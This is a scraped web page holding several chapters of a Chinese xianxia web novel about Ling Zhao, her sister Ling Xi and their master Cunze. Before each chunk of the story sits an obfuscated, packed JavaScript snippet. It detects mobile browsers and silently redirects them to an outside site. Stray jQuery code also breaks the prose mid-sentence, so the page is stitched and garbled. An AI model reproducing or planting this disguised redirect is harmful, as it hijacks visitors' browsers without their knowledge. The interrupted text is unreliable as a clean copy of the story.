;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184376|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都可参加。” 凌昭心下了然,心中盘算着。 她只有这一次机会,她只能竭尽所能闯到十八层之上,至于这个结果会带来怎样的骚动,都是之后的问题。 见她思索,北山霁也不出声打扰默默跟着。 不一会,已经到了玉衡峰。 “多谢师兄。”凌昭笑着道谢,再三考虑下递出一瓶丹药,“这是一些补灵丹还望师兄不要嫌弃。” 北山霁接过丹药,抬眸时凌昭已经挥手离开,直到对方身影彻底消失,他才离开。 . 凌昭踏入玉衡峰主殿时,云华正探查几株灵草。 “师尊。”凌昭走近,取出玉匣轻轻放在桌案上,“母蛊我带回来了。” 云华抬头,目光落在玉匣上,神色微凝。她接过,并未立刻打开,而是隔着匣壁细细感应了片刻,眉头渐渐蹙起。 “这般成熟的母蛊,”她顿了顿忽而笑道,“你师姐向来喜欢研究毒,这蛊虫等她出关再说吧。” 云华将玉匣收好,示意凌昭坐下,亲手斟了杯茶推过去。 “说说吧,清心城的事。”她语气温柔中带着认真,“你传讯说得简略,我想听你亲口讲一遍。” 凌昭捧着茶杯,将这几日的经历一一道来,从入城,到城西别院逼出蛊虫,再到破庙与魔族分身交手,最后是郑德渡劫、掷出母蛊。 她没有添油加醋地讲着,只是避重就轻地揭过了自己在打斗中的表现。 云华静静听着,偶尔点头,偶尔蹙眉,直到她说完,才长长地舒了口气。 “受苦了。”她伸手,轻轻揉了揉凌昭的发顶,“这趟属实凶险,不过也算是历练,至少医修的攻击方式你更熟练了。” 凌昭垂着眼帘,弯了弯嘴角:“是师尊平日教得好。” 云华笑了笑,没接这话,收回手端起茶盏抿了一口,目光在她脸上停留片刻,忽然问:“你那剑术传承,是在秘境得的?” 凌昭略带茫然地点了点头:“嗯,当时下意识地出剑了,但现在很是模糊。” 云华看着她,眼中闪过一丝复杂的情绪,有欣慰,也有几分说不清的感慨。 “剑修传承不易得。”她轻声道,“你既有机缘,便好好把握。北山师侄去师兄那申请时,我也在场。” 云华的师兄——飞仙宗宗主旋阳易,也是无极峰峰主。 凌昭心下了然,倒是没想到这么巧,云华也在。 她想到云华的神情,不像是随口的闲谈,而是带着几分……像是看到了什么有趣的事。 果然,云华放下茶盏,状似不经意地问:“你们何时这么熟悉了?他倒是对你上心。” 凌昭神情微微停顿,无奈笑着解释:“秘境之后见过几面,北山师兄只是尽职尽责罢了。” 云华见她这副表情,轻笑一声摆摆手:“行了,我就是随口一问。你心里有数就好。” 凌昭弯了弯嘴角:“弟子明白。” 面上笑着,她心里却飞速转着。 尽职尽责? 她忽然想起方才那枚玉佩,是关照?还是试探? 凌昭心里轻轻“啧”了一声。 她想这么多干什么,兵来将挡水来土掩就是了。 凌昭又陪云华喝了会茶,就被云华赶着回去休息。 她刚出殿门传讯玉简——散修时用着的,突然亮了。 存泽的传讯引入眼帘。 “乖徒~我回来了!” 14. 第十四章 彻底离开飞仙山脉边缘,凌昭才松了口气。 她回头望了一眼,云海翻涌间,隐约看到山峰轮廓。 确保无人追踪后,她抬手按住腰间储物袋,注入灵力,眨眼间水蓝色的亲传弟子服褪下,取而代之的是一身浅色劲装,袖口束紧,腰身利落,没有任何多余的坠饰,脸上也早已戴上了暗纹面具。 “呼。”凌昭伸了个懒腰,长出一口气。 还是这身舒服。 昨日失踪数月的师父终于有了音讯,二人约在今日。她当即以“出宗散散心”为由知会了云华一声,云华不仅准了,还叮嘱她“多散散心,不必急着回来”。 她辨认了一下方向,朝着不算太近的流光城赶去,珍宝阁分阁便位于城中心。 珍宝阁分布四界各处,往来商旅不断,鱼龙混杂,却是散修最喜欢的去处,凌昭更是这里的常客。 说是“阁”,其实更像一座独立的坊市。外观不过三层小楼,但阵法隐匿之下,内里别有洞天——独立的阁楼层层嵌套,大堂是寄售妖丹灵植灵宝的地方,不时也会有拍卖会举行。不时也能见到一些千金难求的好东西。 但凌昭最喜欢还是悬赏榜。其内容五花八门,有采集灵草的,有猎杀妖兽的,也有一些隐去姓名的杀人悬赏。这种事在散修中见怪不怪,只要报酬合适,自然有人接。 凌昭经常靠这些赚取灵石。 她轻车熟路地穿过城门,拐过两条街,在珍宝阁门前站定。门口往来的人不少,有蒙面的,有遮脸的,像她这样戴着面具的,反倒最不显眼。 她抬脚跨入,径直走向柜台。 柜台后站着个灰衣老者,须发皆白,正低头拨弄算盘。察觉到有人走近,他头也不抬,只公式化地开口:“寄售还是悬赏?悬赏榜在那边……” 话没说完,一物轻轻扣在柜台上。 灰衣老者抬眼,目光触及那枚刻着“昭”的令牌——贵客专属令牌,拨弄算盘的手指顿住了。 “哎呦!”他猛地抬头,看清凌昭的面具,脸上瞬间堆满了笑,“是您啊!老朽就说,这令牌可有好些日子没见了。” 凌昭熟稔打趣道:“怎么老吴,以为我死了?” “哪能!”吴掌柜连忙摆手,从柜台后绕出来,亲自引着她往楼上走,“您的雅间还留着呢,楼上请、楼上请。” 不知不觉中,凌昭察觉到阵法变动,眨眼间已经来到雅间,其陈设简单:软塌靠窗,方桌上摆放着茶具点心。 吴掌柜殷勤地引她入座,却不急着离开,反而在对面站定,笑呵呵地打量她,“上回见您,还是半年前。今儿个来,还是老规矩,寄售还是悬赏?” 凌昭从袖中取出一只储物袋,随手抛在桌上:“半年来攒的,你清点一下。” 吴掌柜接过,神识探入,脸上的笑意加深还带着震惊之色。他抬起头,看向凌昭的眼神都变了:“不愧是昭道友,成色都是上好的!尤其那一截半妖化的潜地妖藤!” 他顿了顿,压低声音:“这玩意儿可不好对付。您这是……又进秘境了?” 凌昭轻“嗯”一声,不说对也不说不对。 他低头继续清点。片刻后,他报出一个数字:“按市价,这批货至少能拍出一万上品灵石。不过最近妖丹价格翻了一番,您要是愿意等几天,兴许能更高。” “翻番?”凌昭放下茶盏,“什么行情?” “这不是赶上兽潮高发季了嘛,”吴掌柜叹了口气,“今年不知怎的,妖兽躁动得厉害。前两日清心城那场兽潮,虽说被飞仙宗真人压下去了,可周边小城的猎杀任务反而多了起来。妖丹供不应求,价格自然水涨船高。” 凌昭指尖轻轻叩击桌面,若有所思。 兽潮高发季……有清心城一事在前,难免不让人深思。 但她面上不显,只淡淡道:“不急,你看着安排就是。这批货处理完后,灵石先存着,我还有别的事要托你。” 吴掌柜连连点头:“您尽管吩咐。” 凌昭从袖中取出一张折好的纸,推到他面前:“这上面的东西,帮我留意。没有现货,只要有消息,都记下。报酬从我的灵石中扣。” 吴掌柜展开纸张,目光扫过,眉头渐渐皱起。 “玉凝芝、通灵草……”他念出,抬头看向凌昭,“您这是要炼养神丹?” 凌昭略一挑眉没否认,只道:“怎么,不好找?” “不是不好找,是……”吴掌柜斟酌着用词,“这几味都可遇不可求。单是玉凝芝就只有深海处有,凝魂草更是罕见,这……您神识怎么了?” 凌昭轻笑一声:“老吴,你话变多了。” 吴掌柜一噎,讪讪地闭上嘴,将纸张小心收好:“得,我不问。东西我帮您留意,有消息立刻传讯。” “嗯。”凌昭端起茶盏,又想起什么,“对了,稍后有人来找我,你直接带过来。” 吴掌柜愣了愣:“什么样的人?” 凌昭想了想师父样子,嘴角微微抽搐:“一个衣着花花绿绿的老头。他要是说找我,你就带路。” 约莫一炷香的工夫,门外传来脚步声。 步伐大摇大摆,旁若无人似得,踩得楼梯嘎吱作响,仿佛生怕别人不知道有人来了。 凌昭嘴角抽了抽。 门被推开,一张熟悉的脸探进来。 来人穿着一件花哨得刺眼的袍子,赤橙黄绿青蓝紫七色至少占了四色,眉发皆白,面容却不见老态,一双眼睛笑眯眯的,透着几分狡黠。 “徒弟——”存泽拉长了调子,一步跨进来,“想师父没?” 凌昭没动,只懒洋洋地抬了抬眼皮:“想您?想您又跑哪儿鬼混去,一消失就是好几个月。” “啧,没良心。”存泽在她对面坐下,也不客气,抓起桌上的点心就往嘴里塞,“为师可是给你姐妹俩寻宝贝去了。” “寻着什么了?” “呃,这个嘛……”存泽嚼点心的动作顿了顿,“暂时没寻着。” 凌昭:“……”她就知道。 存泽咽下点心,抬起手随意在空中虚画了几笔。几道灵光闪过,没入四周墙壁。 “行了。”存泽拍拍手,“这珍宝阁虽然规矩,但人来人往的,保不齐有耳朵,现在让小曦儿出来吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188985|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌昭坐直身子,抬手按住胸口的伴生玉,柔和的光芒自她掌心溢出,光芒闪过一道身影渐渐凝实。 凌曦出现在榻上,她先是茫然地眨了眨眼,看清对面坐着的人后,整个人愣住了。 看着妹妹呆滞的可爱模样,凌昭唇角弯了弯,她昨日特意不告诉妹妹要见师父,就想给她一个惊喜。 “师父……” 存泽放下手中的点心,收起了懒散姿态,目光落在她脸上,笑意渐渐收敛。 凌曦虽然在伴生玉空间内气色恢复些许,但唇色还透着苍白。 存泽心疼不已但嘴上还是不饶人:“啧,瘦了。飞仙宗的伙食不行啊,要不跟师父走吧,师父带你去鼎烹峰蹭饭,不对,鼎烹峰也是你们宗的。” 话落,一直听着的凌昭默默白了一眼,她真建议师父去学学说话这门学问! 凌曦就那样定定地看着存泽,眼眶一点一点地泛红。她张了张嘴,想说什么,却一个字也说不出来。 将近十年了。 秘境一事她记忆模糊一片,可此刻看到那张熟悉的样子,那些模糊的记忆里,似乎总有这个不着调的老头的身影。 下一刻,她已经起身,一头扎进他怀里 “师父……”声音闷闷的,带着压抑不住的哭腔。 存泽僵住了。他抬起手,悬在半空,不知该往哪儿放。他下意识看向凌昭,眼神里明晃晃写着:这怎么回事? 凌昭靠在窗边,双臂环抱,嘴角微微勾起,一副看好戏的神情,丝毫没有救场的意思。 存泽瞪她一眼,到底还是把手轻轻落在凌曦发顶,笨拙地拍了拍:“行了行了,多大的人了,还哭鼻子。” 凌曦不说话,只是攥着他花花绿绿的袍袖,肩膀微微颤抖。 凌曦和凌昭也不过桃李年华,更何况二人自幼时便被存泽捡走教导。 凌昭这才慢悠悠开口:“曦儿醒来后,好多事都记不清了。我们师徒三人,许久未聚在一起了。” 存泽沉默片刻,轻叹一声,语气难得正经了几分:“是师父不好。” “行了,”存泽拍拍她,“让师父看看,到底怎么回事。” 凌曦这才从他怀里退出来,眼眶红红的,脸上还挂着泪痕。她有些不好意思地低下头,用袖子胡乱擦了擦脸。 存泽抬手,掌心凝起灵光轻轻覆在凌曦眉心。 凌昭走过来,在她身侧坐下,轻轻握住妹妹的手。即使存泽神通广大,她此时难免紧张,若是灵力问题连存泽都不能解决,又该如何是好? 存泽的神色,起初还算平静,渐渐地,眉头蹙起,随着时间过去,眉头越皱越深。 凌昭心尖一跳,但也没有出声打扰。 良久,存泽才收回手,睁开眼。 “师父,如何?”凌昭迫切地问。 存泽没立刻回答,而是看向凌曦:“小曦儿,你记不记得,中蛊之前,可曾接触过什么特别的人?或者去过什么特别的地方?” 此话一出,凌昭、凌曦皆是一愣,凌昭迟疑出声: “师父你的意思是,曦儿是中了蛊毒?” 15. 第十五章 没想到清心城之后,如此快再次听到蛊虫二字。 雅间里安静了片刻。 存泽没急着开口,反而端起桌上的茶盏,慢条斯理地抿了一口,似乎在斟酌措辞。 凌昭太了解他了,这幅样子说明事情不简单。 果然,存泽放下茶盏,第一句就足以让人心头一沉。 “为师活了这么久,见过的蛊不下一百种,但唯独这一种没见过,”存泽皱眉思索,“种在识海的蛊虫不超过百种,本就罕见,小曦儿身上这个更为隐蔽,不像任何一脉的。” 闻言,凌昭理了理思绪,清心城蛊虫让修士不能运转灵力,而凌曦则是灵力流逝封住灵脉才得以暂时解决。 她疑惑道:“难道又是魔族?” 见师父和妹妹一脸疑惑,凌昭想到他们还不知道清心城发生的事,这才快速讲了一遍。 “魔族卷土重来和蛊毒再次现世,”凌昭指尖敲打着桌面,“当真没有任何关联吗?” “为师说不准,”存泽想了想来时路上所见继续道,“我从妖界赶来,路上不少地方都有这种情况,定然是有古怪的。” 凌昭点头,她不信这世上有这么多巧合,一桩两桩是意外,可不止一两桩,十之八九是有人故意而为之。 一直沉默的凌曦突然开口,“若动手的是宗门之人,那是不是意味着魔族早已渗透进来了?” 飞仙宗作为灵界第一宗门,若是有魔族渗透,那其他宗门呢? “啧,”存泽放下茶盏,似笑非笑地看了凌曦一眼,“要不说小曦儿脑子转得快呢。” 他撑着下巴,笑着调侃:“魔族渗透?那玩意儿要是真这么容易混进飞仙宗,飞仙那位老祖早就提着剑把山门砍了,万年前……” 存泽忽然一顿,像是想起来什么有意思的事,笑意盈盈:“你们知不知道飞仙宗老祖,万年前是干什么的吗?” 二人摇头。 “第一剑仙身边的小狗腿,那时可是嚷嚷着要杀尽天下魔呢。”存泽笑的促狭。 凌昭干巴巴地笑了一下。 万年了,狗腿混成了老祖,只有她师父满天下的晃荡,地位、飞升没有一个是他放在心上的。 “行了行了,别瞎琢磨了。你们现在该操心的,不是魔族渗不渗透,是这蛊,到底怎么解。” 凌昭点点头,一脸认真:“都是蛊虫,用幻针?我应当比上次更熟练了。” “噗——” 存泽刚端起茶盏抿了一口,闻言差点喷出来。他放下茶盏,一脸无语地看着凌昭:“用幻针?你当这是清心城里那样的小玩意儿?” 凌昭皱眉反驳:“我上次用得挺好的。” “上次是上次。”存泽摆手,“清心城那蛊,种在经脉里,逼出来就完事。曦儿这个种在识海里,你那一针下去,是想把她脑子扎成筛子?” 凌昭沉默了。 凌曦在旁边捂着嘴笑了笑:“阿姐也是着急,不过师父您能解?若是解开了,我神识之伤也可以自己慢慢养回来,说不定那些记忆也会找回来。阿姐也不用一直困在宗门……” 说到后面,凌曦声音显然带了愧疚。 存泽伸手揉了揉凌曦的发顶:“别瞎想,有师父在呢。”然后才转向凌昭,“解是能解,但我解不了。” 存泽叹了口气,语气软了几分,“解这种蛊,需要真正懂蛊的人,我强行出手,不仅会伤及神魂,而且会惊动下蛊之人。” 凌昭疑惑:“惊动下蛊之人?” “嗯,”存泽正色解释,“神识蛊毒,动手对方一定会察觉。不过。” 凌昭深吸一口气,等着自家师父说完。 “妖界有个蛊修,”存泽道,“此人脾气古怪,但若说天下还有人能解这种蛊,非她莫属。” 妖界。 凌昭的心往下沉了沉。她如今被困在飞仙宗,寸步难行,如何带妹妹去妖界? 像是看穿了她的心思,存泽摆了摆手:“你别急,你继续留在宗门,我带着曦儿去妖界就行。而且你说那人受我一道剑气,那目前是没有时间出手了。” 沉默弥漫。 “不行,”凌曦立马出声,语气急切,“我不能留阿姐一个人在宗门,太危险了。” 凌昭拍拍凌曦肩膀以示安抚,“可以,但是,”她拿出伴生玉,“这玉,必须合在一起,我才能维持曦儿的气息。如果曦儿跟你走,我回宗门必露馅。” 存泽一拍脑门,“啪”的一声脆响:“啧!把这茬忘了!” “多大点事,”存泽从储物戒里掏出一堆东西,“哐哐哐”往桌上一倒,挑挑拣拣留下几样,其余又收回去了。 凌昭看着桌上那几样东西,眼角抽了抽。 一块巴掌大毫无光泽的铜镜,一只看不出材质的灰色镯子,还有一颗珠子,通体漆黑。 存泽拿起铜镜递给凌昭:“显像境,什么都行,只要不是人就现原形。但使用前要喂点灵石。” 凌昭接过翻来覆去看了两眼,默默点评:来要她灵石的。 存泽又拿起那只灰扑扑的镯子:“呃……忘了名字,但是可抵挡两次归真境之上致命攻击。” 凌昭惊讶地出声:“归真境?” 修士九境——练气、筑基、金丹、元婴、通灵、离窍、合一、归真、渡劫。 合一境可是第八境,四界又有几人到达这个境界? “没错,没记错飞仙宗也就他们老祖有这个实力。”存泽说着看了看凌曦,“小曦儿这下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197627|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心了吧。” 存泽拿起最后一样吹了吹,“替息珠,这个才是关键。” “竟然是它?”凌昭诧异地接过,在掌心掂了掂,入手微凉,沉甸甸的,她还是偶然在本古籍里了解的。 “替息珠,上古灵宝,”她娓娓道来,“据说可以装在识海,因为怕被贼人得手,因此传言已被摧毁,啧没想到在师父这。” “哟,说的不错。”存泽笑着开口,“继续继续。” 凌昭看他一眼,继续道:“使用方法也简单,只需要一滴心头血,滴入珠中,珠子就会记住那道气息。之后佩戴者只要把它带在身上,自己就会被珠子里存的那道气息覆盖。” 她顿了顿,若有所思:“唯一的缺点是——太耗灵石。” “多耗?”凌曦也好奇地问。 “每天一块上品灵石吧。”凌昭幽幽说着,“而且不能离身。” “还有一点,这东西认主。”存泽指了指珠子,“滴血之后,旁人是不能掠夺的。” 凌昭若有所思地点头。 凌曦眼睛亮了,雀跃道:“如此说来,你伴生玉更不容易发现?” “聪明。”存泽笑着揉揉她的脑袋,“比你姐姐强。” 凌昭懒得反驳,只是盯着那颗珠子,眉头微蹙:“可是,需要曦儿的心头血。” “这有什么难的。” 凌曦话落,几人还没反应过来,一滴心头血已经取出。 凌昭一愣,下意识托起珠子。 血珠落在珠身上,瞬间被吸收进去。那颗漆黑的珠子忽然亮了一下,隐隐透出一层淡红色的光晕,随即恢复如常。 “行了,”存泽道,“你收入识海试试。” 凌昭依言,她低头看了看自己,没什么变化,但凌曦看向她的眼神却变了。 “阿姐,”凌曦喃喃道,“我感觉……好像在照镜子。” 凌昭挑眉一笑,有点质疑:“这么厉害?” “嗯。”凌曦浅笑着点头,“就是……整体给我的感觉。” 存泽得意地拍了拍袖子,“那可不?而且,我能不知道你姐姐,随性惯了,可能真演不了多久。这珠子与其说是改变气息,不如说是改变了大家的眼睛。” 凌昭沉默片刻,忽然道:“难怪会传言被毁,属实有些反常理了。那能用多久?” “半年。”存泽抬眸看着凌昭,“昭儿可以吗?” 凌昭点头,“够了。” 只要她想。 她就可以。 凌昭将东西一一收起来,心里已经梳理好思绪,之后回宗的重心就是追查凶手,顺便收集炼制养神丹需要的灵植。 存泽突然开口:“对了,我这次来还有一件重要的事。” 16. 第十六章 存泽递给凌昭一块菱形玉石。 雅间里静了一瞬。 那块黯淡无光的菱形玉石静静躺在凌昭手心,她抬头看了看存泽那张笑得有些心虚的脸,一时间竟不知道该说什么。 凌曦也愣住了,好半天才找回声音:“师父……您是说,阿姐等了这么多年的本命剑,就、就是这个?” “对啊。”存泽理直气壮地点头,“怎么,不像?” 凌昭深吸一口气,把那股想打人的冲动压下去,尽量让自己变得平静:“师父,这是一块石头。” “是玉石。”存泽纠正她。 “一块黯淡无光、平平无奇的玉石。”凌昭反驳。 “那是因为它是碎的,”存泽摊手,“完整的时候通体流光,拿出来能闪瞎一片。” 凌昭:“……” 凌曦心疼姐姐一瞬间,叹气问道:“那为什么碎了呢?” 存泽也叹了口气,露出几分惋惜,“一场大战这剑碎成了好几块。这一块是为师能找到的最大的一块,其他的,散落四界,不知去向。” 凌昭面无表情地盯着手里的玉石,内心已经悲喜交加了。 好消息:找到本命剑了。 坏消息:不是一把剑,是一块碎片。 更坏的消息:还有一堆碎片要找。 “师父。”她开口。 存泽有些心虚地“嗯”了一声。 “您为什么不早说?”凌昭扯了扯嘴角,早点说她早点找啊。 存泽干咳一声:“这不是……怕你压力大吗!” 凌昭看着他,不说话。 存泽被她看得发毛,摆了摆手:“别这么看我。你自己说,要是早告诉你你的本命剑碎了,你得满天下找碎片,你还能安心修炼?” 凌昭沉默了。 确实不能。她肯定会满世界找碎片,什么秘境什么机缘,都得往后排。 “而且本命剑靠的是缘分,所以我就想等你什么时候缘分到了,再告诉你。”存泽拍手一笑,“现在不就正好?你要查凶手、找灵药,顺带着找碎片。” 他想了想,眼睛一亮:“我没记错飞仙宗剑冢快开了吧?你去碰碰运气。” 凌昭无奈收起玉石,忽而笑了。 存泽挑眉:“笑什么?” 凌昭简单解释了一下。 她笑这确实很巧,毕竟她昨日才决定去闯剑心试炼塔,去剑冢碰碰运气。 “这叫什么?”存泽一拍桌子,“这叫一举两得,哦不对,是一举三得——查凶手、收集灵植、找本命剑!” 凌曦沉默许久,凌昭担忧地看了她一眼,果然眼睛红红的。 “阿姐……”她轻轻唤了一声。 凌昭失笑道:“怎么,又不是你去找碎片,你哭什么?” “可是……”凌曦眼睛更红了,“我也会替阿姐留意的。” 存泽在旁边轻啧一声:“行了行了,别煽情!这剑虽然是碎的,但它认主。昭儿你滴血试试。” 凌昭依言再次拿出玉石,一滴指尖血落在玉石上,触及玉石的瞬间,那块黯淡无光的石头亮光一闪,像是褪去了外皮,显现原本晶莹剔透的外表。 同时凌昭清晰地感觉到,有什么东西在那一瞬间,从玉石里涌出飞进心口。 “感觉到了?”存泽问。 凌昭点头。 “那就对了。”存泽道,“它认得你。以后你找碎片,它也会给你指路。” “怎么指?”凌昭看着玉石疑惑,虽然它变好看了,但还是不太靠谱。 “靠近碎片的时候,你能感应到。”存泽道,“离得越近,感应越强。” 凌昭若有所思地点头。 凌曦好奇地凑过来:“那要是离得很远呢?” “那就感应不到,”存泽摊手,“所以你得主动,总不能指望它自己飞过来找你。” 这话没错,凌昭觉着好笑,学着师父摊手的样子,“行呗行呗。” 心情放松了一些,凌昭脑子灵光一闪,“差点忘了。” 说着,她把那本无字书拿出。 “师父你可认得这?” 存泽接过,随手翻开。空白页上,那六个字依然清晰:山雨起,见清心。 他盯着那六个字,眉头渐渐皱起,神色凝重。 凌昭在一旁看着,开口解释:“我传讯和你解释过,非要说清心草和清心城的关联,似乎也只有蛊虫?” “这书哪来的?” “曦儿房间,”凌昭回想,“我潜入后醒来,它就放在榻边。我总感觉它在提醒什么。” 存泽没接话,将书里里外外翻看了一遍后,他又翻回第一页,盯着那六个字看了许久。 “这字迹……”他喃喃道,声音很低,像是在自言自语。 “师父认得这字?”凌曦凑过来。 存泽停顿一下摇头,把书合上,递给凌昭。 存泽停顿一下,摇头,把书合上,递给凌昭。 “不认得。”他说。 凌昭接过书,看到师父神情正经得过分,话都变少了,她觉得他看出是什么了,但他不说。 凌昭也没追问。师父不想说的事,问也没用。 她把书收好,随口道:“那就当它是个会冒字的宝物吧。反正目前看来,没什么坏处。” 存泽“嗯”了一声,没再接话。 凌曦看看师父,又看看姐姐,小声问:“那这书以后还会出字?” “应该会。”凌昭思索片刻,“下次出字应该就可以验证一下,这本书到底有什么作用了。” 存泽在一旁听着,恢复打趣语气:“千万藏好了啊!要是什么预知、提醒的作用,丢了岂不可惜?” 凌昭点头:“我知道。” 话落,存泽闷哼一声,轻到凌昭以为自己听错了。 “师父?你……” 存泽却直接站起身,拍了拍袍子:“行了,时候不早了我还有事,该带曦儿走了。” 凌昭沉默看着他。她没记错的话,师父平日可闲了。 存泽被她看得有些心虚,转过身干咳一声:“咳,为师是真有事。妖界那边还有事没处理。而且那位蛊修早点找到更好是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197628|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?” 这下凌昭注意到他有些发白的唇色,凌昭张了张嘴,想问他怎么回事。但话到嘴边,她又咽了回去,转而向凌曦嘱咐着: “曦儿,照顾好自己,也照顾好师父,也不用什么都听他的,” 存泽哎呦一声,抗议道:“说的什么话!” 凌曦抱了抱凌昭,眼眶有些红,努力笑着说:“阿姐,我会的。你要小心,什么都不重要,你随时可以来妖界找我们。” 凌昭理了理妹妹的碎发,“好。” 存泽随手画了几道,一个传送阵法便瞬间笼罩二人,雅间里只留下一句。 “玉简传讯,别忘了啊昭儿!” . 流光城的夜市正热闹。 长街两侧灯火通明,摊位一个挨着一个,卖灵草的、卖符箓的、卖妖兽材料的,吆喝声此起彼伏。来往的修士有蒙面的,有遮脸的,也有大大方方露出真容的,三三两两穿行其间。 凌昭带着面具漫无目的地走着。 她不想那么快回宗门,若不是悬赏榜的任务都要耗时三四日,她此时应该在做任务。 她在一个卖药材的摊位前停下,随手拿起一株灵芝。 “道友好眼力,”摊主是个中年修士,嘴皮子利索得很,“这是今早刚从南境送来的玉灵芝,品相上佳,用来炼定神丹再好不过!您要的话,看您面善,给您算便宜点。” 凌昭没接话,放下灵芝,又拿起旁边的几株灵草看了看。 摊主也不恼,继续絮叨:“您这是要炼什么丹?最近修士都喜欢炼制什么清心丹、定神丹啊,这年头修士得防范着点,什么走火入魔啊、灵力暴走啊……” 凌昭动作一顿。 “多?”她随口问。 “多!”摊主见对方终于搭理自己,夸张的补充,“我这摊位可是天天都卖空啊!” 凌昭抬眼看他,嗤笑一声。 摊主被她这一笑笑得有些发毛,干笑两声:“我这、这……您看来巧了不是?这些都留着呢。” 凌昭轻笑一声没再问,挑了几株品相不错的灵草,付了灵石就走。 她把药材收入储物戒,继续往前走。脑子里却还在想着那些话,脚步便有些漫不经心。 那摊主说话半真半假的,但闲逛一圈下来,炼制那些丹药的药材确实卖的更快。 转过一个街角,她忽然顿住。 前方不远处,一道熟悉身影正站在一个小摊前。灯火映着他的侧脸,轮廓分明,他似乎在看摊上的什么东西,神情专注,连周遭的喧嚣都与他无关。 是北山霁,不过此时他墨发不再玉冠高束,柔和些许。 他怎么在这? 她的第一反应是转身就走,但她现在是散修凌昭,又不是飞仙宗的凌曦,见到无极峰首徒,有什么好躲的? 可她还是慢了半拍。 就是这半拍,北山霁忽然抬头,目光精准对上她。 隔着灯火,隔着来往的人群,凌昭看不清他眼底的情绪,却莫名觉着对方在透过面具看她。 他抬脚,正朝她走来。 17. 第十七章 面具加持下相貌音色都是模糊的,凌昭倒不担心被看穿。真正让她沉下心来的,是北山霁那股熟门熟路的气势,这人每次秘境碰上都要凑过来打一架,她都习惯了。 可这个场合,过来干什么?打架不太合适吧。 “……道友,好久未见。”北山霁温和偏冷的嗓音落在耳边,不轻不重。 “原来是北山道友啊,”凌昭哼笑一声,“真巧。” 北山霁在她面前站定,目光在她面具上停留一瞬,然后移开,看向她身后的摊位:“来买东西?” “随便看看。”凌昭随口应着,心里却疑惑:流光城不算近,他怎么也在?他怎么有时间的。 像是看穿了她的疑问,北山霁淡淡开口:“来办点事。” 凌昭“哦”了一声,没追问。 两人沉默了一瞬。 不知是往日两人见面就是切磋的原因,还是她如今算是对方“小师妹”的原因,她觉得氛围有点尬。 凌昭正要找个借口溜走,北山霁忽然开口:“一起走走?” 她愣了一下,这句话仿佛和昨天重合在一起。 “这里夜市很大,”他说,语气平静得像在陈述事实,“一个人逛没有意思。” 凌昭:…… 她看着他那张没什么表情的脸,一时间竟分不清这是客套还是他真的觉得“一个人逛没意思”。 北山霁已经迈开步伐。 凌昭眉头轻挑,她还是第一次见对方有如此闲情。算了,走走就走走。 “行啊。”她耸肩跟上对方,她决定先静观其变。 二人就这样走着,凌昭偶尔在摊位前停下来挑挑拣拣,北山霁也会顺势在附近停下来看起来也在挑选。 二人这样,和以往相比不知和谐了多少。 “让开让开!快让开!” 惊呼声夹杂着东西翻倒的声响,人群迅速往两边散开,流出中间一块空地。 凌昭抬眼望去,只见一个修士当街跪倒在地,浑身颤抖,周身灵力紊乱,这是走火入魔的征兆。 “又来了又来了……”旁边有人嘀咕,“这是这个月第几个?” 又一个? 凌昭眉头微蹙,正要上前,却见人群中忽然挤出一个身影。 那是个穿着灰扑扑袍子的商贩,脸裹得严实,只露出一双眼睛。他几步冲到那发狂修士面前,二话不说,从袖中掏出一颗丹药,直接塞进对方嘴里。 丹药入口,奇迹发生了。 那修士周身的紊乱灵力几乎是瞬间平复下来。他喘着粗气,瘫坐在地上,脸上哪还有痛苦之色,只剩下劫后余生的茫然。 “好了?”他喃喃自语,摸了摸自己的脸,“我好了?” 灰袍商贩笑眯眯地蹲下身,声音恰好能让周围人都听见:“道友,感觉如何?” 修士愣了一下,然后猛地抓住商贩的袖子:“这丹药!你还有吗?我买!我出双倍价钱!” 商贩摆摆手,神秘兮兮地压低声音,但又恰好让周围修士听到。 